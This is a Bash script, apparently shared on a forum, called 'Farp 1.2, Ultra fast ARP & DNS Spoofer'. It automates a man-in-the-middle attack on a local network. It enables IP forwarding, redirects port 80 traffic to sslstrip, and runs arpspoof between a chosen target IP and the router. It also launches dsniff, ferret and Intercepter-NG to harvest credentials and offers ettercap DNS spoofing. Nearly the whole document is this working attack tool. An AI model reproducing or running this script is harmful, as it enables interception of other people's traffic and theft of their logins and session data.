Farp, The fast Arp and dns tool

[badacid]

#!/bin/bash

#this is Farp 1.2
#you have to have sslstrip installed
#also this will only work on Backtrack 5 r3 possibly other r's of 5
#you can save this text to a file called farp and chmod +x farp
#please launch with this command for everything to look right (hopefully):
#gnome-terminal --geometry=78x6+620+630 -e /where/you/put/farp
IPNUMF=$(ifconfig | grep Bcast)                                 
    IPNUM=${IPNUMF:20:14}                                                               ###define the ip address
#echo $IPNUM
                                                                    
DECCOUNT="0"
CHARPLACE="0"
DECPLACE="1"

while [ $DECCOUNT != "3" ]                                                              ###define the last decimal place
do                                     
    CHARPLACE=$(expr $CHARPLACE + 1)
    DECPLACE=$(expr $DECPLACE + 1)
    IPCHAR=${IPNUM:$CHARPLACE:1}                                                        ###this is the char by char scan code
    
    if [ $IPCHAR = "." ]                                                                ###define the decimal places
        then
            DECCOUNT=$(expr $DECCOUNT + 1)
    fi
done
ENET=${IPNUM:0:$DECPLACE}                                                               ###define the numbers up to the last decimal          
#echo "your network is: $ENET"
NODENUM=${IPNUM:$CHARPLACE:3}                                                           ###define the numbers after last decimal
#echo "your node is: $NODENUM"
#NICF=$(/pentest/sniffers/intercepter-ng/intercepter_linux -h | grep "IP2" -B 2)
#echo $NICF
#NIC=${NICF:0:6}   
NICF=$(ifconfig | grep Bcast -B 1)                                                      ###define the connected interface
NIC=${NICF:0:8}
#echo $NIC  
                                           
AROUTR=$(route -n | grep $NIC)
NODER=$(expr $DECPLACE + 3)
ROUTRF=${AROUTR:16:$NODER}
ROUTR=${ROUTRF:$DECPLACE:3}
ROUTR=$(expr $ROUTR + 1)
ROUTR=$(expr $ROUTR - 1)
ROUTR=$ENET$ROUTR                                                                       ###define the router ip

INTRCF=$(/pentest/sniffers/intercepter-ng/intercepter_linux -h | grep "IP2" -B 3)
INTRC=${INTRCF:10:2}                                                                    ###define intercepter interface number 


trap trapeze 2

displayr (){
                
                clear
echo """
  ###############################
 #        Farp V 1.2             #
 #  Ultra fast ARP & DNS Spoofer #
 #        by BadAcid             #
  ############################### """

                #if [ $SSLDO = "y" ]
                #    then
                    xterm -geometry 71x05+600+400 -e "sslstrip -f -k" &
                #fi
                 xterm -geometry 100x3+0+640 -e "arpspoof -i $NIC -t $TARG $ROUTR" &
                 xterm -geometry 100x3+0+700 -e "arpspoof -i $NIC -t $ROUTR $TARG" &
                 xterm -geometry 50x5+600+500 -e "dsniff -i $NIC" &
                 xterm -geometry 220x21+0+320 -e "/pentest/sniffers/hamster/ferret -i $NIC" &
                gnome-terminal --geometry 190x18+0+0 -e "/pentest/sniffers/intercepter-ng/intercepter_linux $INTRC 3" &
                sleep 2
                clear
                }

dnsspoofr (){
                echo "[*] DNS SPOOFING TIME £-P"
                read -p " [>] TARGET IP/RANGE: $ENET" TARGR
                TARG=$ENET$TARGR
                ettercap -T -q -i $NIC -P dns_spoof -M arp /$ROUTR/ /$TARG/
                }

trapeze (){                                                                             ###exit function
                clear
                 xterm -geometry 100x3+0+640 -e "arpspoof -i $NIC -t 0.0.0.0 $TARG" &
                 xterm -geometry 100x3+0+700 -e "arpspoof -i $NIC -t 0.0.0.0 $ROUTR" &
                sleep 0.5
                killall dsniff
                killall urlsnarf
                killall arpspoof
                killall sslstrip
                killall ferret
                killall intercepter_linux
                echo 0 > /proc/sys/net/ipv4/ip_forward
                clear
                echo """
  ###############################
 #        Farp V 1.2             #
 #  Ultra fast ARP & DNS Spoofer #
 #        by BadAcid             #
  #####[*] Reseting ARP tables... """
                iptables --flush
                iptables --table nat --flush
                iptables --delete-chain
                iptables --table nat --delete-chain
                sleep 3
                clear
                echo "[*] ARP tables restored"
                echo "[*] All systems have been shut down." 
                echo "[*] Press Alt+f4 to clear windows, Goodbye!"
                }

            echo 1 > /proc/sys/net/ipv4/ip_forward

        #    iptables --flush
        #    iptables --table nat --flush
        #    iptables --delete-chain
        #    iptables -P FORWARD ACCEPT
        #    iptables --table nat --delete-chain
        #    iptables -t nat -A POSTROUTING -o $NIC -j MASQUERADE
        #    echo "[*] IP forwarding enabled"

#read -p " [>] Do you want to enable sslsrtip [Y/n]: " SSLSTP
        #if [ $SSLSTP = "n" ]
        #then
        #SSLDO="n"
        #else
            SSLDO="y"
            iptables --flush
            iptables --table nat --flush
            iptables --delete-chain
            iptables -P FORWARD ACCEPT
            iptables --table nat --delete-chain
            iptables -t nat -A POSTROUTING -o $NIC -j MASQUERADE
            iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
            
        #    echo "[*] Sslstrip ready..."
            
        # fi
echo
      
      read -p " [>] TARGET IP: $ENET" TARGR                                                               #### <<user input needed to attack
            TARG=$ENET$TARGR
            #ping -c 1 $TARG
            clear
                displayr
               
while [ true ]
do
MOR="y"
    if [ $MOR = "y" ]
        then         
            echo " [>] press CTRL+C to exit" 
            echo ' [>] press "d" and then ENTER for DNS spoofing' 
            echo ' [>] press "k" and then ENTER to restore ARP tables'        
            read -p " [>] TARGET IP: $ENET" TARGF                                                               #### <<user input needed to attack
                if [ $TARGF -z ]
                    then
                    clear
                    break
                elif [ $TARGF = "k" ]
                    then
                        clear
                        echo "[*] Reseting ARP tables..."
                        killall arpspoof
                        sleep 3
                        clear
                        echo "[*] ARP tables restored"
                elif [ $TARGF = "d" ]
                    then
                        clear
                        dnsspoofr
                        END="1"
                    break
                        #dnsspoof -f /root/dnsspoof host $TARG1 and udp port 53
            
                elif [ $TARGF = "D" ]
                    then
                        clear
                        dnsspoofr
                        END="1"
                       break
                           #ettercap -T -q -i $NIC -P dns_spoof -M arp /$TARG1/ /$ROUTR/
                        #dnsspoof -f /root/dnsspoof host $TARG1 and udp port 53
                else
                clear
                    TARG=$ENET$TARGF
                echo
                echo
                clear
                
                     xterm -geometry 100x3+0+640 -e "arpspoof -i $NIC -t $ROUTR $TARG" &
                     xterm -geometry 100x3+0+700 -e "arpspoof -i $NIC -t $TARG $ROUTR" &
                    echo "[*] ATTACKING $TARG"    
            fi
    fi
done

if [ $END != "1" ]
    then
        trapeze
fi